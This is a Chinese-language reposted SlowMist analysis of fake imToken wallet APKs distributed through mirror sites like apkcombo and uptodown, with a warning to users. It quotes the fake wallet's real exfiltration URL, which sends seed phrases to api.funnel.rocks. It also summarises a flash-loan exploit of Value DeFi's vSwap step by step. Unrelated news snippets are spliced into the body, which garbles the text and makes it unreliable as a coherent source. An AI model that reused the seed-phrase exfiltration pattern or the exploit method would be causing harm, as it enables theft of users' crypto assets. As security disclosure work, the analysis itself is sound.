TOKE:慢霧：Web3假錢包第三方源調查分析

原文作者:?山&耀

技術的Web3正在驅動下一代技術革命，越來越多的人開始參與到這場加密浪潮中，但Web3與Web2是兩個截然不同的世界。Web3世界是一個充滿著各種各樣的機遇以及危險的黑暗森林，身處Web3世界中，錢包則是進入Web3世界的入口以及通行證。

當你通過錢包在Web3世界中探索體驗諸多的區塊鏈相關應用和網站的過程中，你會發現在一條公鏈上每個應用都是使用錢包“登錄”；這與我們傳統意義上的“登錄”不同，在Web2世界中，每個應用之間的賬戶不全是互通的。但在Web3的世界中，所有應用都是統一使用錢包去進行“登錄”，我們可以看到“登錄”錢包時顯示的不是“LoginwithWallet”，取而代之的是“ConnectWallet”。而錢包是你在Web3世界中的唯一通行證。

慢霧：從Multichain流出的資金總額高達2.65億美元，分布在9條鏈:金色財經報道，自7月7日以來，從 Multichain 流出的資金總額高達 2.65 億美元，分布在 Ethereum、BNB Chain、Polygon、Avalanche、Arbitrum、Optimism、Fantom、Cronos、Moonbeam 鏈。其中 6582 萬美元已經被 Circle 和 Tether 凍結，1,296,990.99 ICE（約 162 萬美元） 被 Token 發行方 Burn。流出的資金中，包括：

1）從 Multichain: Old BSC Bridge 轉出的 USDT；

2）從 Multichain: Fantom Bridge 轉出的 USDC、DAI、LINK、UNIDX、USDT、WOO、ICE、CRV、YFI、TUSD、WETH、WBTC；

3）從 Anyswap: Bridge Fantom 轉出的 BIFI；

4）從 Multichain: Moonriver Bridge 轉出的 USDC、USDT、DAI、WBTC；

5）從 MultiChain: Doge Bridge 轉出的 USDC；

6）從 Multichain: Executor 轉出的 DAI、USDC、BTCB、WBTC、WETH、Dai.e、WBTC.e、Bridged USDC、BTC、fUSDT、ETH 等；

7）從被 Etherscan 標記為 Fake_Phishing183873 的 0xe1910...49c53 轉出的 WBTC、USDT、ETH，同時我們認為該標記（Fake Phishing183873）或許是 Etherscan 上的虛假標記，地址可能以前屬于 Multichain 官方賬戶。[2023/7/11 10:48:30]

俗話說高樓之下必有陰影，在如此火熱的Web3世界里，錢包作為入口級應用，自然也被黑灰產業鏈盯上。

慢霧：疑似Gemini相關地址在過去5小時內共轉出逾20萬枚ETH:金色財經消息，慢霧監測顯示，疑似加密交易所Gemini相關地址（0xea3ec2a08fee18ff4798c2d4725ded433d94151d）已在過去5小時內歸集并轉出逾20萬枚ETH（超3億美元）。[2022/7/19 2:22:08]

在Android環境下，由于很多手機不支持GooglePlay或者因為網絡問題，很多人會從其他途徑下載GooglePlay的應用，比如：apkcombo、apkpure等第三方下載站，這些站點往往標榜自己App是從GooglePlay鏡像下載的，但是其真實安全性如何呢？

據數據統計站點similarweb統計，apkcombo站點：

全球排名：?1,?809?

慢霧：BSC項目Value DeFi vSwap 模塊被黑簡析:據慢霧區情報，幣安智能鏈項目 Value DeFi 的 vSwap 模塊被黑，慢霧安全團隊第一時間介入分析，并將結果以簡訊的形式分享，供大家參考：

1. 攻擊者首先使用 0.05 枚 WBNB 通過 vSwap 合約兌換出 vBSWAP 代幣；

2. 攻擊者在兌換的同時也進行閃電貸操作，因此 vSwap 合約會將兌換的 vBSWAP 代幣與閃電貸借出的 WBNB 轉給攻擊者；

3. 而在完成整個兌換流程并更新池子中代幣數量前，會根據池子的 tokenWeight0 參數是否為 50 來選擇不同的算法來檢查池子中的代幣數量是否符合預期；

4. 由于 vSwap 合約的 tokenWeight0 參數設置為 70，因此將會采用第二種算法對池子中的代幣數量進行檢查；

5. 而漏洞的關鍵點就在于采用第二種算法進行檢查時，可以通過特殊構造的數據來使檢查通過；

6. 第二種算法是通過調用 formula 合約的 ensureConstantValue 函數并傳入池子中緩存的代幣數量與實時的代幣數量進行檢查的；

7. 在通過對此算法進行具體分析調試后我們可以發現，在使用 WBNB 兌換最小單位(即 0.000000000000000001) vBSWAP 時，池子中緩存的 WBNB 值與實時的值之間允許有一個巨大的波動范圍，在此范圍內此算法檢查都將通過；

8. 因此攻擊者可以轉入 WBNB 進行最小單位的 vBSWAP 代幣兌換的同時，將池子中的大量 WBNB 代幣通過閃電貸的方式借出，由于算法問題，在不歸還閃電貸的情況下仍可以通過 vSwap 的檢查；

9. 攻擊者只需要在所有的 vSwap 池子中，不斷的重復此過程，即可將池子中的流動性盜走完成獲利。詳情見原文鏈接。[2021/5/8 21:37:37]

國家排名：?7,?370?

聲音 | 慢霧：Dapp、交易所等攻擊事件造成損失已近41億美金:慢霧數據顯示Dapp、交易所等攻擊事件造成的損失已達4098587697.68美金，半月增加近3億美金。據2月28日報道，慢霧區上線“被黑檔案庫(SlowMist Hacked)”，目前各類攻擊事件共造成約 3824082630.12 美金的損失。[2019/3/13]

品類排名：?168?

我們可以看到它的影響力和流量都非常大。

它默認提供了一款chromeAPK下載插件，我們發現這款插件的用戶數達到了10W：

那么回到我們關注的Web3領域中錢包方向，用戶如果從這里下載的錢包應用安全性如何？

我們拿知名的imToken錢包為例，其GooglePlay的正規下載途徑為：

https://play.google.com/store/apps/details??id=im.token.app

由于很多手機不支持GooglePlay或者因為網絡問題，很多人會從這里下載GooglePlay的應用。

而apkcombo鏡像站的下載路徑為：

https://apkcombo.com/downloader/#package=im.token.app

上圖我們可以發現，apkcombo提供的版本為24.9.11?，經由imToken確認后，這是一個并不存在的版本！證實這是目前市面上假imToken錢包最多的一個版本。

在編寫本文時imToken錢包的最新版本為2.11.3?，此款錢包的版本號很高，顯然是為了偽裝成一個最新版本而設置的。

如下圖，我們在apkcombo上發現，此假錢包版本顯示下載量較大，此處的下載量應該是爬取的GooglePlay的下載量信息，安全起見，我們覺得有必要披露這個惡意App的來源，防止更多的人下載到此款假錢包。

同時我們發現類似的下載站還有如：uptodown

下載地址：https://imtoken.br.uptodown.com/android

我們發現uptodown任意注冊即可發布App，這導致釣魚的成本變得極低：

慢霧：假錢包App已致上萬人被盜，損失高達十三億美元》，所以在此不再贅述。

我們僅對apkcombo提供版本為24.9.11這款假錢包進行分析，在開始界面創建錢包或導入錢包助記詞時，虛假錢包會將助記詞等信息發送到釣魚網站的服務端去，如下圖：

根據逆向APK代碼和實際分析流量包發現，助記詞發送方式：

https://api.funnel.rocks/api/trust??aid=?10&wt=?1&os=?1&key=<助記詞>

看下圖，最早的“api.funnel.rocks”證書出現在2022-06-03?，也就是攻擊開始的大概時間：

俗話說一圖勝千言，最后我們畫一個流程圖：

交易所時請認準官方下載渠道并從多方進行驗證；如果你的錢包從上述鏡像站下載，請第一時間轉移資產并卸載該軟件，必要時可通過官方驗證通道核實。

同時，如需使用錢包，請務必認準以下主流錢包App官方網址：

1?/imToken錢包：https://token.im/

2?/TokenPocket錢包：https://www.tokenpocket.pro/

3?/TronLink錢包：https://www.tronlink.org/

4?/比特派錢包：https://bitpie.com/

5?/MetaMask錢包：https://metamask.io/

6?/TrustWallet：https://trustwallet.com/

請持續關注慢霧安全團隊，更多Web3安全風險分析與告警正在路上。

致謝：感謝在溯源過程中imToken官方提供的驗證支持。

由于保密性和隱私性，本文只是冰山一角。慢霧在此建議，用戶需加強對安全知識的了解，進一步強化甄別網絡釣魚攻擊的能力等，避免遭遇此類攻擊。更多的安全知識建議閱讀慢霧出品的《區塊鏈黑暗森林自救手冊》。

Tags：TOKEKENTOKTOKENTiki TokenDEFI100Farm Tokenimtoken蘋果下載鏈接Degen Token Finance

KuCoin